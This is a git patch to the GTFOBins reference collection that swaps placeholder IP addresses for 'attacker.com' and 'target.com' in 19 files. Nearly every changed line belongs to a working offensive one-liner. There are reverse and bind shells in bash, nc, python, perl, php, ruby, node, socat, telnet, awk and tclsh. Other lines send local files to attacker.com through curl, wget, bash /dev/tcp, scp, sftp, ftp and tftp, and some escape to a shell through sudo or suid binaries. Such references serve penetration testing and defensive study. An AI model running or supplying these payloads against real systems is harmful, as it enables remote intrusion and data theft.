From b857c98f92ccb04e39d56f080462146a5b1f593b Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Thu, 24 May 2018 20:59:21 +0100 Subject: [PATCH] Use target.com and attacker.com --- _gtfobins/awk.md | 4 ++-- _gtfobins/bash.md | 10 +++++----- _gtfobins/curl.md | 8 ++++---- _gtfobins/ftp.md | 4 ++-- _gtfobins/nc.md | 8 ++++---- _gtfobins/node.md | 4 ++-- _gtfobins/perl.md | 2 +- _gtfobins/php.md | 6 +++--- _gtfobins/python2.md | 8 ++++---- _gtfobins/python3.md | 8 ++++---- _gtfobins/ruby.md | 2 +- _gtfobins/scp.md | 4 ++-- _gtfobins/sftp.md | 8 ++++---- _gtfobins/socat.md | 4 ++-- _gtfobins/ssh.md | 4 ++-- _gtfobins/tclsh.md | 2 +- _gtfobins/telnet.md | 20 ++++++++++---------- _gtfobins/tftp.md | 4 ++-- _gtfobins/wget.md | 6 +++--- 19 files changed, 58 insertions(+), 58 deletions(-) diff --git a/_gtfobins/awk.md b/_gtfobins/awk.md index 9303c78..6949d81 100644 --- a/_gtfobins/awk.md +++ b/_gtfobins/awk.md @@ -9,14 +9,14 @@ functions: reverse-shell-non-interactive: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN { s = "/inet/tcp/0/" RHOST "/" RPORT; while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break; while (c && (c |& getline) > 0) print $0 |& s; close(c)}}' bind-shell-non-interactive: - - description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end. + - description: Run `nc target.com 12345` to connect to the shell on the other end. code: | LPORT=12345 awk -v LPORT=$LPORT 'BEGIN { diff --git a/_gtfobins/bash.md b/_gtfobins/bash.md index a02ffea..50e0c29 100644 --- a/_gtfobins/bash.md +++ b/_gtfobins/bash.md @@ -9,33 +9,33 @@ functions: upload: - description: Send local file in the body of an HTTP POST request. Run an HTTP service to collect the file on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 LFILE=file_to_send echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 LFILE=file_to_send cat $LFILE > /dev/tcp/$RHOST/$RPORT download: - description: Fetch a remote file via HTTP GET request. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 LFILE=file_to_get (echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` to send the file from the other end. code: |- - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 LFILE=file_to_get cat < /dev/tcp/$RHOST/$RPORT > $LFILE reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1 --- diff --git a/_gtfobins/curl.md b/_gtfobins/curl.md index 05e8083..70f52f8 100644 --- a/_gtfobins/curl.md +++ b/_gtfobins/curl.md @@ -3,13 +3,13 @@ functions: upload: - description: Send local file with an HTTP POST request. code: | - URL=http://10.0.0.1/ + URL=http://attacker.com/ LFILE=file_to_send curl -X POST -d @$file_to_send $URL download: - description: Fetch a remote file via HTTP GET request. - code: |- - export URL=http://10.0.0.1/file_to_get - export LFILE=file_to_get + code: | + URL=http://attacker.com/file_to_get + LFILE=where_to_save curl $URL -o $LFILE --- \ No newline at end of file diff --git a/_gtfobins/ftp.md b/_gtfobins/ftp.md index 1c65caf..6ef6c88 100644 --- a/_gtfobins/ftp.md +++ b/_gtfobins/ftp.md @@ -11,13 +11,13 @@ functions: upload: - description: Send local file to a FTP server. code: | - RHOST=10.0.0.1 + RHOST=attacker.com ftp $RHOST put file_to_send download: - description: Fetch a remote file from a FTP server. code: | - RHOST=10.0.0.1 + RHOST=attacker.com ftp $RHOST get file_to_get --- \ No newline at end of file diff --git a/_gtfobins/nc.md b/_gtfobins/nc.md index d9eef50..2f0e1cc 100644 --- a/_gtfobins/nc.md +++ b/_gtfobins/nc.md @@ -4,12 +4,12 @@ functions: - description: | Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` to collect the file on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 LFILE=file_to_send nc $RHOST $RPORT < "$LFILE" download: - - description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 12345 < "file_to_send"` to send the file from the other end. + - description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` to send the file from the other end. code: |- LPORT=12345 LFILE=where_to_save @@ -17,11 +17,11 @@ functions: reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 nc -e /bin/sh $RHOST $RPORT bind-shell: - - description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end. + - description: Run `nc target.com 12345` to connect to the shell on the other end. code: | LPORT=12345 nc -l -p $LPORT -e /bin/sh diff --git a/_gtfobins/node.md b/_gtfobins/node.md index 0522e62..68e0f33 100644 --- a/_gtfobins/node.md +++ b/_gtfobins/node.md @@ -12,7 +12,7 @@ functions: reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - export RHOST=10.0.0.1 + export RHOST=attacker.com export RPORT=12345 node -e 'sh = require("child_process").spawn("/bin/sh"); net.connect(process.env.RPORT, process.env.RHOST, function () { @@ -21,7 +21,7 @@ functions: sh.stderr.pipe(this); });' bind-shell: - - description: Run `nc 10.0.0.1 12345` to connect to the shell on the other end. + - description: Run `nc target.com 12345` to connect to the shell on the other end. code: | export LPORT=12345 node -e 'sh = require("child_process").spawn("/bin/sh"); diff --git a/_gtfobins/perl.md b/_gtfobins/perl.md index 0b6ee3a..833cdae 100644 --- a/_gtfobins/perl.md +++ b/_gtfobins/perl.md @@ -9,7 +9,7 @@ functions: reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - export RHOST=10.0.0.1 + export RHOST=attacker.com export RPORT=12345 perl -e 'use Socket;$i="$ENV{RHOST}";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' --- \ No newline at end of file diff --git a/_gtfobins/php.md b/_gtfobins/php.md index 7331b5d..f64a9f7 100644 --- a/_gtfobins/php.md +++ b/_gtfobins/php.md @@ -28,13 +28,13 @@ functions: download: - description: Fetch a remote file via HTTP GET request. code: |- - export URL=http://10.0.0.1/file_to_get - export LFILE=file_to_get + export URL=http://attacker.com/file_to_get + export LFILE=where_to_save php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);' reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - export RHOST=127.0.0.1 + export RHOST=attacker.com export RPORT=12345 php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");' --- \ No newline at end of file diff --git a/_gtfobins/python2.md b/_gtfobins/python2.md index ea5b89a..b6b1c54 100644 --- a/_gtfobins/python2.md +++ b/_gtfobins/python2.md @@ -9,7 +9,7 @@ functions: upload: - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end. code: | - export URL=http://10.0.0.1/ + export URL=http://attacker.com/ export LFILE=file_to_send python -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))' - description: Serve files in the local folder running an HTTP server. @@ -19,13 +19,13 @@ functions: download: - description: Fetch a remote file via HTTP GET request. code: |- - export URL=http://10.0.0.1/file_to_get - export LFILE=file_to_get + export URL=http://attacker.com/file_to_get + export LFILE=where_to_save python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])' reverse-shell: - description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345 to receive the shell on the other end. code: | - export RHOST=127.0.0.1 + export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' load-library: diff --git a/_gtfobins/python3.md b/_gtfobins/python3.md index 7ab13d5..27e9ed3 100644 --- a/_gtfobins/python3.md +++ b/_gtfobins/python3.md @@ -9,7 +9,7 @@ functions: upload: - description: Send local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end. code: | - export URL=http://10.0.0.1/ + export URL=http://attacker.com/ export LFILE=file_to_send python3 -c 'import urllib.request as r,urllib.parse as u;from os import environ as e; r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' - description: Serve files in the local folder running an HTTP server. @@ -19,13 +19,13 @@ functions: download: - description: Fetch a remote file via HTTP GET request. code: | - export URL=http://10.0.0.1/file_to_get - export LFILE=file_to_get + export URL=http://attacker.com/file_to_get + export LFILE=where_to_save python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])' reverse-shell: - description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345 to receive the shell on the other end. code: | - export RHOST=127.0.0.1 + export RHOST=attacker.com export RPORT=12345 python3 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")' load-library: diff --git a/_gtfobins/ruby.md b/_gtfobins/ruby.md index 0247702..e56f33d 100644 --- a/_gtfobins/ruby.md +++ b/_gtfobins/ruby.md @@ -12,7 +12,7 @@ functions: reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - export RHOST=10.0.0.1 + export RHOST=attacker.com export RPORT=12345 ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' load-library: diff --git a/_gtfobins/scp.md b/_gtfobins/scp.md index 326368d..c30613b 100644 --- a/_gtfobins/scp.md +++ b/_gtfobins/scp.md @@ -24,13 +24,13 @@ functions: upload: - description: Send local file to a SSH server. code: | - RPATH=user@10.0.0.1:~/where_to_save + RPATH=user@attacker.com:~/where_to_save LPATH=file_to_send scp $LFILE $RPATH download: - description: Fetch a remote file from a SSH server. code: | - RPATH=user@10.0.0.1:~/file_to_get + RPATH=user@attacker.com:~/file_to_get LFILE=where_to_save scp $RPATH $LFILE --- diff --git a/_gtfobins/sftp.md b/_gtfobins/sftp.md index c2c3179..0bcbaeb 100644 --- a/_gtfobins/sftp.md +++ b/_gtfobins/sftp.md @@ -2,24 +2,24 @@ functions: exec-interactive: - code: | - HOST=user@10.0.0.1 + HOST=user@attacker.com sftp $HOST !/bin/sh sudo-enabled: - code: | - HOST=user@10.0.0.1 + HOST=user@attacker.com sudo sftp $HOST !/bin/sh upload: - description: Send local file to a SSH server. code: | - RHOST=user@10.0.0.1 + RHOST=user@attacker.com sftp $RHOST put file_to_send where_to_save download: - description: Fetch a remote file from a SSH server. code: | - RHOST=user@10.0.0.1 + RHOST=user@attacker.com sftp $RHOST get file_to_get where_to_save --- diff --git a/_gtfobins/socat.md b/_gtfobins/socat.md index 4c9a308..4626547 100644 --- a/_gtfobins/socat.md +++ b/_gtfobins/socat.md @@ -3,11 +3,11 @@ functions: reverse-shell: - description: Run socat file:`tty`,raw,echo=0 tcp-listen:12345 to receive the shell on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 socat tcp-connect:$RHOST:$RPORT exec:"bash -li",pty,stderr,setsid,sigint,sane bind-shell: - - description: Run socat FILE:`tty`,raw,echo=0 TCP:10.0.0.2:12345 to connect to the shell on the other end. + - description: Run socat FILE:`tty`,raw,echo=0 TCP:target.com:12345 to connect to the shell on the other end. code: | LPORT=12345 socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane diff --git a/_gtfobins/ssh.md b/_gtfobins/ssh.md index b1f9767..831f0aa 100644 --- a/_gtfobins/ssh.md +++ b/_gtfobins/ssh.md @@ -6,14 +6,14 @@ functions: download: - description: Fetch a remote file from a SSH server. code: | - HOST=user@10.0.0.1 + HOST=user@attacker.com RPATH=file_to_get LPATH=where_to_save ssh $HOST "cat $RPATH" > $LPATH upload: - description: Send local file to a SSH server. code: | - HOST=user@10.0.0.1 + HOST=user@attacker.com RPATH=where_to_save LPATH=file_to_send ssh $HOST "cat > $RPATH" < $LPATH diff --git a/_gtfobins/tclsh.md b/_gtfobins/tclsh.md index f1f123c..d3a442a 100644 --- a/_gtfobins/tclsh.md +++ b/_gtfobins/tclsh.md @@ -15,7 +15,7 @@ functions: reverse-shell-non-interactive: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - export RHOST=10.0.0.1 + export RHOST=attacker.com export RPORT=12345 echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh --- \ No newline at end of file diff --git a/_gtfobins/telnet.md b/_gtfobins/telnet.md index 12fd495..77aae0f 100644 --- a/_gtfobins/telnet.md +++ b/_gtfobins/telnet.md @@ -1,34 +1,34 @@ --- functions: exec-interactive: - - description: BSD version only. + - description: BSD version only. Needs to be connected first. code: | - RHOST=www.google.com - RPORT=80 + RHOST=attacker.com + RPORT=12345 telnet $RHOST $RPORT ^] !/bin/sh reverse-shell: - description: Run `nc -l -p 12345` to receive the shell on the other end. code: | - RHOST=10.0.0.1 + RHOST=attacker.com RPORT=12345 TF=$(mktemp) rm $TF mkfifo $TF && telnet $RHOST $RPORT 0<$TF | /bin/bash 1>$TF sudo-enabled: - - description: BSD version only. + - description: BSD version only. Needs to be connected first. code: | - RHOST=www.google.com - RPORT=80 + RHOST=attacker.com + RPORT=12345 sudo telnet $RHOST $RPORT ^] !/bin/sh suid-limited: - - description: BSD version only. + - description: BSD version only. Needs to be connected first. code: | - RHOST=www.google.com - RPORT=80 + RHOST=attacker.com + RPORT=12345 ./telnet $RHOST $RPORT ^] !/bin/sh diff --git a/_gtfobins/tftp.md b/_gtfobins/tftp.md index 580f037..a57adab 100644 --- a/_gtfobins/tftp.md +++ b/_gtfobins/tftp.md @@ -3,13 +3,13 @@ functions: upload: - description: Send local file to a TFTP server. code: | - RHOST=10.0.0.1 + RHOST=attacker.com tftp $RHOST put file_to_send download: - description: Fetch a remote file from a TFTP server. code: | - RHOST=10.0.0.1 + RHOST=attacker.com tftp $RHOST get file_to_get --- \ No newline at end of file diff --git a/_gtfobins/wget.md b/_gtfobins/wget.md index 9aca2dd..bf0abab 100644 --- a/_gtfobins/wget.md +++ b/_gtfobins/wget.md @@ -3,13 +3,13 @@ functions: upload: - description: Send base64-encoded local file via "d" parameter of a HTTP POST request. Run an HTTP service to collect the file on the other end. code: | - export URL=http://10.0.0.1/ + export URL=http://attacker.com/ export LFILE=file_to_send wget --post-data="d=$(base64 $LFILE | tr -d '\n')" $URL download: - description: Fetch a remote file via HTTP GET request. code: | - export URL=http://10.0.0.1/file_to_get - export LFILE=file_to_get + export URL=http://attacker.com/file_to_get + export LFILE=where_to_save wget $URL -O $LFILE --- \ No newline at end of file